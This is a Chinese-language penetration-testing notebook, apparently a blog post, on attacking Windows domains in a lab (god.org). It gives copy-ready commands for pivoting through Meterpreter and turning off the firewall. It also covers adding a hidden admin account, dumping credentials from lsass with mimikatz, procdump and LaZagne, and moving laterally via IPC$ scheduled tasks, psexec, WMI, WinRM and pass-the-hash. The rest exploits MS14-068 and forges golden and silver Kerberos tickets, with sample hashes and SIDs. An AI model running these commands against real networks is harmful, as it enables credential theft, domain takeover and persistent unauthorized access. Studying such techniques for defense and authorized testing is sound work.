域控-笔记四(综合应用)

文章目录

    • 一. 添加路由
      • 1.1 路由
      • 1.2 sockes
      • 1.3 shell乱码
    • 二. 判断域环境
    • 三. 定位域控
    • 四. 非域信息收集
      • 4.1 防火墙问题
      • 4.2 端口转发
    • 五. 凭据窃取
      • 5.1 mimikatz
      • 5.2 procdump+mimikatz
      • 5.3 LaZagne
    • 六. 域内横向
      • 6.1 IPC+计划任务
        • 6.1.2 ipc
        • 6.1.3 计划任务
        • 6.1.4 常见IPC错误
      • 6.2 PsTools
      • 6.4 WMI
        • 6.4.1 wmiexec.vbs
      • 6.5 WinRM
        • 6.5.1 WinRS
        • 6.5.2 Powershell Invoke- - Command
      • 6.6 PTH(pass the hash)
        • 6.6.1 mimikatz
        • 6.6.2 impacket-examples-windows
      • 6.7 MS14-068
      • 6.8 web 漏洞
      • 6.9 系统漏洞
    • 七. 权限维持
      • 7.1 黄金票据
      • 7.2 白银票据
      • 7.3 黄白票据总结

一. 添加路由

1.1 路由

run autoroute -s 192.168.52.0/24    #添加路由
run autoroute -p    #查看路由
run get_local_subnets   #获取本地子网

1.2 sockes

sockes4

auxiliary/server/socks4a
/etc/proxychains.conf

sockes5

auxiliary/server/socks5
/etc/proxychains.conf

域控-笔记四(综合应用)_第1张图片

1.3 shell乱码

chcp 65001

二. 判断域环境

net view /domain    #查询域列表
net user /domain    #查询域用户

域控-笔记四(综合应用)_第2张图片

三. 定位域控

时间服务器

域控时间服务器,若当前用户是域用户,会从域控返回当前时间,用来判断主域,主域一般用作时间服务器

通常域内主机的DNS 是指向域控主机的
确认域控服务器后可通过 ping,扫描有无 53,389端口确认域控服务器

net time /domain    #查询域时间服务器
net group "domain controllers" /domain  #查询域控主机
ipconfig /all

域控-笔记四(综合应用)_第3张图片
域控-笔记四(综合应用)_第4张图片

四. 非域信息收集

  1. 盲扫 C 端、B 段等
  2. 查看 arp 表、路由表
  3. 找配置文件,如数据库配置等
meterpreter > run post/windows/gather/arp_scanner rhosts=192.168.52.0/24
meterpreter > arp

域控-笔记四(综合应用)_第5张图片

4.1 防火墙问题

关闭防火墙

netsh advfirewall set allprofiles state off
or
netsh firewall set opmode disable

4.2 端口转发

3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

用户

net user hack net123!@# /add
net localgroup administrators hack /add

不能关闭防火墙情况下,端口转发3389端口

-l:本地监听端口-r:内网目标的ip-p:内网目标的端口

portfwd add -l 2222 -r 192.168.60.170 -p 3389

域控-笔记四(综合应用)_第6张图片
域控-笔记四(综合应用)_第7张图片

五. 凭据窃取

5.1 mimikatz

meterasploit 集成了mimikatz(已被kiwi取代),但上面的32位,无法在64位的系统上跑,如果需要在64位系统上跑mimikatz需要上传64位的mimikatz
Github 地址:https://github.com/gentilkiwi/mimikatz

:: #列出命令
privilege::debug #(提升权限)
sekurlsa::logonpasswords #(抓取明文密码和 hash)

5.2 procdump+mimikatz

Procdump 是微软官方dump工具,不会报毒
使用 procdump 将目标的 lsass.exe 转储成 dmp 文件

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

域控-笔记四(综合应用)_第8张图片

使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

域控-笔记四(综合应用)_第9张图片

5.3 LaZagne

一款抓密码的神器,可以抓取系统密码、浏览器密码、wifi 密码等等。

lazagne.exe all

域控-笔记四(综合应用)_第10张图片

六. 域内横向

6.1 IPC+计划任务

进程间通信(IPC,Inter-Process Communication),指至少两个进程或线程间传送数据或者信号的一些技术或方法。

利用条件:

  1. 139 或 445 开启IPC连接可以实现远程登录及共享访问;139端口开启表示 netbios 协议的应用,通过139 & 445 端口实现对共享文件/打印机访问
  2. 管理员开启默认共享,默认共享是为了方便管理员远程管理而默认开启的共享,所有逻辑盘(C$,D$...)和系统目录 winnt 或者 windows(admin$)
  3. 连接用户密码

利用思路:

  1. 建立IPC连接
  2. 把后门copy到目标主机
  3. 创建计划任务在目标机器上执行
  4. 后门上线删除IPC连接
6.1.2 ipc

建立IPC$连接

net use \\ip “密码” /user:”登陆账户”  
net use \\192.168.52.138\ipc$ hongrisec@2021 /user:god\administrator
net use \\192.168.52.138\ipc$   #查看连接情况

域控-笔记四(综合应用)_第11张图片

添加网络映射

net use b: \\192.168.52.138\c$ hongrisec@2021 /user:god\administrator

net use * \del \y   #删除所有连接

域控-笔记四(综合应用)_第12张图片

6.1.3 计划任务

添加计划任务

2003 一下系统使用 at 命令 以上使用 schtasks 命令

win7 使用的是 at

copy artifact_domain.exe \\192.168.52.138\C$
net time \\192.168.52.138
at \\192.168.52.138 1:03 c:\artifact_domain.exe
at \\192.168.52.138 #查看计划任务

正向连接
在跳板机上执行 connect 目标IP 端口
域控-笔记四(综合应用)_第13张图片

schtask /create/s 192.168.52.138 /u god\administrator /p hongrisec@2021 /ru "SYSTEM" /tn test/sc DAILY /tr c:\artifact.exe /F

创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定
为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么
实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告

schtasks /run /s 192.168.19.177 /u god\administrator /p hongrisec@2021 /tn test /i

运行任务,其中/i 表示立即运行

删除计划任务

schtasks /delete /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /f
6.1.4 常见IPC错误
错误号 5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号 51,Windows 无法找到网络路径 : 网络有问题;
错误号 53,找不到网络路径 : ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤);
错误号 67,找不到网络名 : 你的 lanmanworkstation 服务未启动;目标删除了 ipc$; 错
错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连。
错误号 1326,未知的用户名或错误密码:原因很明显了;
错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动。(连接域控会出现此情况)
错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

6.2 PsTools

PsTools 是 sysinternals 开发的一个功能强大的安全管理工具包
运行pstools需要在在dosktop确认
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

◆PsExec - 远程执行进程
◆PsFile - 显示远程打开的文件
◆PsGetSid - 显示计算机或用户的 SID
◆PsKill - 按名称或进程 ID 终止进程
◆PsInfo - 列出有关系统的信息
◆PsList - 列出有关进程的详细信息
◆PsLoggedOn - 查看在本地通过资源共享(包含所有资源)登录的用户
◆PsLogList - 转储事件日志记录
◆PsPasswd - 更改帐户密码
◆PsService - 查看和控制服务
◆PsShutdown - 关闭并重新启动(可选)计算机
◆PsSuspend - 暂停进程

psexec:

net use \\192.168.52.138 hongrisec@2021 /user:god\administrator
net use

psexec \\192.168.52.138 cmd.exe

相关问题

https://community.spiceworks.com/topic/468800-psexec-issue-cmd-exited-on-remote-pc-with-error-code-0

http://rawtechnology.blogspot.com/2012/11/take-screenshot-of-remote-computer-with.html?showComment=1396543916736#c5499036995628113610
域控-笔记四(综合应用)_第14张图片

6.4 WMI

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。

利用条件:

  1. WMI服务开启(默认开启)
  2. 135端口未过滤

执行任意命令
无法回显状态

wmic /node:192.168.52.138 /user:god\administrator /password:hongrisec@2021 process call create "calc"

域控-笔记四(综合应用)_第15张图片

6.4.1 wmiexec.vbs

wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的 shell

cscript wmiexec_v1.1.vbs
cscript wmiexec_v1.1.vbs /cmd 192.168.52.138 god\administrator hongrisec@2021 whoami    #cmd

cscript wmiexec_v1.1.vbs /shell 192.168.52.138 god\administrator hongrisec@2021     #shell 交互

域控-笔记四(综合应用)_第16张图片

6.5 WinRM

WinRM(Windows Remote Management)是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种,一个类型 ssh 功能的东西。

利用条件:

  1. 需要双方都开启WinRM服务,win7 及以上系统,win7 和 08 默认关闭
  2. 12之后版本默认运行远程任意主机管理
  3. 防火墙未过滤 5985,5986(https soap)
  4. 服务端客户端都需要开启winrs
  5. 服务端和客户端都需要 trustedhosts

客户端

Set-Item WSMan:localhost\client\trustedhosts -value 服务端IP -Force

服务端

# 查看状态,如无返回信息,则是没有启动
winrm enumerate winrm/config/listener
# 对winrm service 进行基础配置
winrm quickconfig
#为winrm service 配置加密方式为允许非加密
winrm set winrm/config/service‘@{AllowUnencrypted="true"}

winrs 有些许鸡肋

6.5.1 WinRS

winrs(windows remote shell)是 WinRM 的客户端,需要管理员权限才能运行,可直接执行命令,也可以返回交互式 shell。

winrs -r:http://192.168.52.138:5985 -u:god\administrator -p:hongrisec@2021 "whoami /all"

winrs -r:http://192.168.52.138:5985 -u:god\administrator -p:hongrisec@2021 "cmd"

域控-笔记四(综合应用)_第17张图片

6.5.2 Powershell Invoke- - Command
Invoke-Command -ComputerName 192.168.52.138 -ScriptBlock {whoami} -credential god\administrator

域控-笔记四(综合应用)_第18张图片

6.6 PTH(pass the hash)

PTH(pass the hash,hash 传递)攻击是指攻击者可以直接通过 LM Hash(已弃用)或 NTLM Hash 访问远程主机或服务,而不提供明文密码。

6.6.1 mimikatz
mimikatz # sekurlsa::logonpasswords

域控-笔记四(综合应用)_第19张图片

  • LM : edea194d76c77d87237cc0a5cbc3c059
  • NTLM : a45a7246dd74b64a67f22fd7020f1bd8
mimikatz # sekurlsa::pth /user:administrator /domain:god /ntlm:a45a7246dd74b64a67f22fd7020f1bd8

域控-笔记四(综合应用)_第20张图片

6.6.2 impacket-examples-windows

impacket-examples-windows 是 impacket(网络协议工具包)的 windows 版本,包含了几十款工具

下载地址:
impacket-examples-windows:
https://github.com/maaaaz/impacket-examples-windows/releases
impacket:
https://github.com/SecureAuthCorp/impacket

LM无用,可以用 00000000000000000000000000000000 填充
-hashes LMHASH:NTHASH

wmiexec.exe -hashes edea194d76c77d87237cc0a5cbc3c059:a45a7246dd74b64a67f22fd7020f1bd8 god/[email protected] "whoami"

域控-笔记四(综合应用)_第21张图片

报错误一般是smb版本不对,安装SMBv1即可

[*] SMBv2.1 dialect used
[-] decode() argument 1 must be string, not None

6.7 MS14-068

MS14-068 是一个能够使普通用户提权获取域控权限的权限提升漏洞,微软给出的补丁是 kb3011780。在 server 2000 以上的域控中,只要没打这个补丁,都有可能被利用.

https://github.com/abatchy17/WindowsExploits/raw/master/MS14-068/MS14-068.exe

MS14-068.exe -u 域用户@域控名 -p 域用户密码 -s 域用户sid -d 域ip

MS14-068.exe -u [email protected] -s S-1-5-21-2952760202-1353902439-2381784089-500 -p hongrisec@2021 -d 192.168.52.138

域控-笔记四(综合应用)_第22张图片

删除当前缓存

mimikatz # kerberos::purge
or
klist purge

导入票据

mimikatz # kerberos::ptc [email protected]
dir \\owa.god.org\C$

域控-笔记四(综合应用)_第23张图片

6.8 web 漏洞

当我们通过以上方法无法进行横向移动的时候,只能回到 web。通过扫描内网 web 应
用,通过 web 漏洞再进一步进行横向移动,常见能直接获得 webshell 的漏洞如下:
➢ struts2 远程代码执行
➢ weblogic 反序列化漏洞
➢ weblogic 弱口令
➢ tomcat 弱口令
➢ shiro 远程代码执行
➢ phpstudy 后门
➢ fastjson 远程代码执行
➢ sql 注入
➢ 等等

6.9 系统漏洞

当内网没有 web 应用的时候,可以尝试通过一些系统漏洞来进行横向移动,通常不建
议使用此类漏洞,因为很容易导致服务器蓝屏,常见漏洞如下:
➢ MS08-067
➢ MS17-010
➢ CVE-2019-0708
➢ 等等

七. 权限维持

7.1 黄金票据

黄金票据(Golden Ticket)是有效的 TGT(TicketGranting Ticket)票据,是由 KERBEROS账户(KBRTGT)加密的。用于域控权限掉后,想再重新获取。因为域管的密码可能更改,通常 kbrtgt 账户不会有人去过问。

利用条件:

  1. 域名称
  2. 域的SID whoami /all
  3. 域的krbtgt账户的密码hash值(NTLM OR aes256)
  4. 伪造的用户名(任意用户,甚至是不存在)
mimikatz # privilege::debug #(提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords #(抓取明文密码和 hash)
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt #导出 krbtgt 密码 hash
mimikatz # lsadump::dcsync /domain:god.org /all /csv #导出所有域内用户密码 hash 值

域名:god.org
域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
aes256_hmac:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df
NTLM:58e91a5ac358d86513ab224312314061

"kerberos::golden /domain:<域名> /sid:<域SID> /aes256: /user:<任意用户名> /ptt"
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /aes256:a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2cd9b128308cef74df /user:abc /ptt

kerberos::list

域控-笔记四(综合应用)_第24张图片

7.2 白银票据

黄金票据是伪造 TGT,白银票据(Silver Tickets)是伪造 ST(Service Ticket),因为 TGT 在pac 里面限定了给 Client 授权的服务,所以银票只能访问指定的服务。

利用条件:

  1. 域名
  2. 域SID
  3. 域服务账号的密码hash(NTLM OR aes256)
  4. 伪造的用户名,可以是任意的

在黄金票据中我们可以不指定 target 和 service,但是在白银票据中必须指定 target 和service

域名:god.org
域的 SID:S-1-5-21-2952760202-1353902439-2381784089-500
NTLM:58e91a5ac358d86513ab224312314061

privilege::debug
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-500 /target:owa.god.org /rc4:58e91a5ac358d86513ab224312314061 /service:cifs /user:aaa /ptt
/domain:指定域名
/sid:Client端查询的sid号,在域控中查询也可以,都是一样的
/target:主域控中的计算机全名
/rc4:在域控中抓取的hash(NTLM)
/service:需要伪造的服务(cifs只是其中的一种服务,可伪造的服务很多)
/user:需要伪造的用户名(可自定义)
/ppt:伪造了以后直接写入到内存中

域控-笔记四(综合应用)_第25张图片
域控-笔记四(综合应用)_第26张图片

7.3 黄白票据总结

白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。

而黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。

你可能感兴趣的:(域控,白银票据,黄金票据,域渗透)